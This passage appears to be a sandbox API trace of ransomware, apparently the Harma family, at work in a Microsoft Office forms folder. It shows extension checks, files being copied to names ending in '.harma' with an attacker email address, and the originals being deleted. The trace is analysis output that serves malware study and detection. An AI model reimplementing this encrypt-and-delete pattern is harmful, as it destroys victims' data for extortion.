lpString2=".ICO") returned -1 [0171.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0171.743] lstrlenW (lpString=".1cd") returned 4 [0171.743] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0171.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0171.743] lstrlenW (lpString=".jpg") returned 4 [0171.743] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0171.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0171.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0171.743] lstrlenW (lpString=".doc") returned 4 [0171.743] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0171.743] lstrlenW (lpString=".docx") returned 5 [0171.743] lstrcmpiW (lpString1=".docx", lpString2="T.ICO") returned -1 [0171.743] lstrlenW (lpString=".pdf") returned 4 [0171.743] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0171.744] lstrlenW (lpString=".xls") returned 4 [0171.744] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0171.744] lstrlenW (lpString=".xlsx") returned 5 [0171.744] lstrcmpiW (lpString1=".xlsx", lpString2="T.ICO") returned -1 [0171.744] lstrlenW (lpString=".ppt") returned 4 [0171.744] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0171.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0171.744] lstrlenW (lpString=".zip") returned 4 [0171.744] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0171.744] lstrlenW (lpString=".rar") returned 4 [0171.744] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0171.744] lstrlenW (lpString=".bz2") returned 4 [0171.744] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0171.744] lstrlenW (lpString=".7z") returned 3 [0171.744] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0171.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0171.744] lstrlenW (lpString=".dbf") returned 4 [0171.744] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0171.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0171.744] lstrlenW (lpString=".1cd") returned 4 [0171.744] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0171.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0171.744] lstrlenW (lpString=".jpg") returned 4 [0171.744] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0171.745] lstrcmpiW (lpString1=".CFG", lpString2=".harma") returned -1 [0171.745] lstrlenW (lpString="CNFRES.CFG") returned 10 [0171.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.758] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=338) returned 1 [0171.758] CloseHandle (hObject=0x374) returned 1 [0171.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg")) returned 0x20 [0171.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.758] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.758] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.759] GetLastError () returned 0x0 [0171.759] ReadFile (in: hFile=0x374, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x152, lpOverlapped=0x0) returned 1 [0171.760] WriteFile (in: hFile=0x1b4, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x160, lpOverlapped=0x0) returned 1 [0171.761] ReadFile (in: hFile=0x374, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0171.761] WriteFile (in: hFile=0x1b4, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0171.761] SetEndOfFile (hFile=0x1b4) returned 1 [0171.761] CloseHandle (hObject=0x1b4) returned 1 [0171.761] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.761] SetEndOfFile (hFile=0x374) returned 1 [0171.764] CloseHandle (hObject=0x374) returned 1 [0171.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg")) returned 1 [0171.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0171.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0171.766] lstrlenW (lpString=".doc") returned 4 [0171.766] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0171.766] lstrlenW (lpString=".docx") returned 5 [0171.766] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0171.766] lstrlenW (lpString=".pdf") returned 4 [0171.766] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0171.766] lstrlenW (lpString=".xls") returned 4 [0171.766] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0171.766] lstrlenW (lpString=".xlsx") returned 5 [0171.766] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0171.766] lstrlenW (lpString=".ppt") returned 4 [0171.766] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0171.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0171.766] lstrlenW (lpString=".zip") returned 4 [0171.766] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0171.766] lstrlenW (lpString=".rar") returned 4 [0171.766] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0171.766] lstrlenW (lpString=".bz2") returned 4 [0171.766] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0171.766] lstrlenW (lpString=".7z") returned 3 [0171.766] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0171.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0171.766] lstrlenW (lpString=".dbf") returned 4 [0171.766] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0171.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0171.766] lstrlenW (lpString=".1cd") returned 4 [0171.767] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0171.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0171.767] lstrlenW (lpString=".jpg") returned 4 [0171.767] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0171.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0171.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0171.767] lstrlenW (lpString=".doc") returned 4 [0171.767] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0171.767] lstrlenW (lpString=".docx") returned 5 [0171.767] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0171.767] lstrlenW (lpString=".pdf") returned 4 [0171.767] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0171.767] lstrlenW (lpString=".xls") returned 4 [0171.767] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0171.767] lstrlenW (lpString=".xlsx") returned 5 [0171.767] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0171.767] lstrlenW (lpString=".ppt") returned 4 [0171.767] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0171.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0171.767] lstrlenW (lpString=".zip") returned 4 [0171.767] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0171.767] lstrlenW (lpString=".rar") returned 4 [0171.767] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0171.767] lstrlenW (lpString=".bz2") returned 4 [0171.767] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0171.767] lstrlenW (lpString=".7z") returned 3 [0171.767] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0171.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0171.767] lstrlenW (lpString=".dbf") returned 4 [0171.768] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0171.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0171.768] lstrlenW (lpString=".1cd") returned 4 [0171.768] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0171.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0171.768] lstrlenW (lpString=".jpg") returned 4 [0171.768] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0171.768] lstrcmpiW (lpString1=".ICO", lpString2=".harma") returned 1 [0171.768] lstrlenW (lpString="CONFLICT.ICO") returned 12 [0171.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.769] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=2998) returned 1 [0171.769] CloseHandle (hObject=0x374) returned 1 [0171.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico")) returned 0x20 [0171.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.769] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.769] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.770] GetLastError () returned 0x0 [0171.770] ReadFile (in: hFile=0x374, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0xbb6, lpOverlapped=0x0) returned 1 [0171.772] WriteFile (in: hFile=0x1b4, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0171.773] ReadFile (in: hFile=0x374, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0171.773] WriteFile (in: hFile=0x1b4, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.773] SetEndOfFile (hFile=0x1b4) returned 1 [0171.773] CloseHandle (hObject=0x1b4) returned 1 [0171.773] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.773] SetEndOfFile (hFile=0x374) returned 1 [0171.779] CloseHandle (hObject=0x374) returned 1 [0171.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.780] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico")) returned 1 [0171.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0171.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0171.781] lstrlenW (lpString=".doc") returned 4 [0171.781] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0171.781] lstrlenW (lpString=".docx") returned 5 [0171.781] lstrcmpiW (lpString1=".docx", lpString2="T.ICO") returned -1 [0171.781] lstrlenW (lpString=".pdf") returned 4 [0171.781] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0171.781] lstrlenW (lpString=".xls") returned 4 [0171.781] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0171.781] lstrlenW (lpString=".xlsx") returned 5 [0171.781] lstrcmpiW (lpString1=".xlsx", lpString2="T.ICO") returned -1 [0171.781] lstrlenW (lpString=".ppt") returned 4 [0171.781] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0171.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0171.781] lstrlenW (lpString=".zip") returned 4 [0171.781] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0171.781] lstrlenW (lpString=".rar") returned 4 [0171.781] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0171.781] lstrlenW (lpString=".bz2") returned 4 [0171.781] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0171.781] lstrlenW (lpString=".7z") returned 3 [0171.781] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0171.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0171.781] lstrlenW (lpString=".dbf") returned 4 [0171.781] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0171.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0171.781] lstrlenW (lpString=".1cd") returned 4 [0171.782] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0171.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0171.782] lstrlenW (lpString=".jpg") returned 4 [0171.782] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0171.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0171.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0171.782] lstrlenW (lpString=".doc") returned 4 [0171.782] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0171.782] lstrlenW (lpString=".docx") returned 5 [0171.782] lstrcmpiW (lpString1=".docx", lpString2="T.ICO") returned -1 [0171.782] lstrlenW (lpString=".pdf") returned 4 [0171.782] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0171.782] lstrlenW (lpString=".xls") returned 4 [0171.782] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0171.782] lstrlenW (lpString=".xlsx") returned 5 [0171.782] lstrcmpiW (lpString1=".xlsx", lpString2="T.ICO") returned -1 [0171.782] lstrlenW (lpString=".ppt") returned 4 [0171.782] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0171.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0171.782] lstrlenW (lpString=".zip") returned 4 [0171.782] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0171.782] lstrlenW (lpString=".rar") returned 4 [0171.782] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0171.782] lstrlenW (lpString=".bz2") returned 4 [0171.782] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0171.782] lstrlenW (lpString=".7z") returned 3 [0171.782] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0171.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0171.782] lstrlenW (lpString=".dbf") returned 4 [0171.782] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0171.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0171.783] lstrlenW (lpString=".1cd") returned 4 [0171.783] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0171.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0171.783] lstrlenW (lpString=".jpg") returned 4 [0171.783] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0171.783] lstrcmpiW (lpString1=".CFG", lpString2=".harma") returned -1 [0171.783] lstrlenW (lpString="CONTACT.CFG") returned 11 [0171.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.784] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=783) returned 1 [0171.784] CloseHandle (hObject=0x374) returned 1 [0171.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg")) returned 0x20 [0171.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.784] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.784] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.785] GetLastError () returned 0x0 [0171.785] ReadFile (in: hFile=0x374, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x30f, lpOverlapped=0x0) returned 1 [0171.948] WriteFile (in: hFile=0x1b4, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x310, lpOverlapped=0x0) returned 1 [0174.240] ReadFile (in: hFile=0x374, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.240] WriteFile (in: hFile=0x1b4, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xea, lpOverlapped=0x0) returned 1 [0174.240] SetEndOfFile (hFile=0x1b4) returned 1 [0174.240] CloseHandle (hObject=0x1b4) returned 1 [0174.241] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.241] SetEndOfFile (hFile=0x374) returned 1 [0174.243] CloseHandle (hObject=0x374) returned 1 [0174.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0174.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg")) returned 1 [0174.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0174.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0174.244] lstrlenW (lpString=".doc") returned 4 [0174.244] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0174.244] lstrlenW (lpString=".docx") returned 5 [0174.244] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0174.245] lstrlenW (lpString=".pdf") returned 4 [0174.245] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0174.245] lstrlenW (lpString=".xls") returned 4 [0174.245] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0174.245] lstrlenW (lpString=".xlsx") returned 5 [0174.245] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0174.245] lstrlenW (lpString=".ppt") returned 4 [0174.245] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0174.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0174.245] lstrlenW (lpString=".zip") returned 4 [0174.245] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0174.245] lstrlenW (lpString=".rar") returned 4 [0174.245] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0174.245] lstrlenW (lpString=".bz2") returned 4 [0174.245] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0174.245] lstrlenW (lpString=".7z") returned 3 [0174.245] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0174.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0174.245] lstrlenW (lpString=".dbf") returned 4 [0174.245] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0174.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0174.245] lstrlenW (lpString=".1cd") returned 4 [0174.245] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0174.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0174.245] lstrlenW (lpString=".jpg") returned 4 [0174.245] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0174.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0174.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0174.246] lstrlenW (lpString=".doc") returned 4 [0174.246] lstrcmpiW 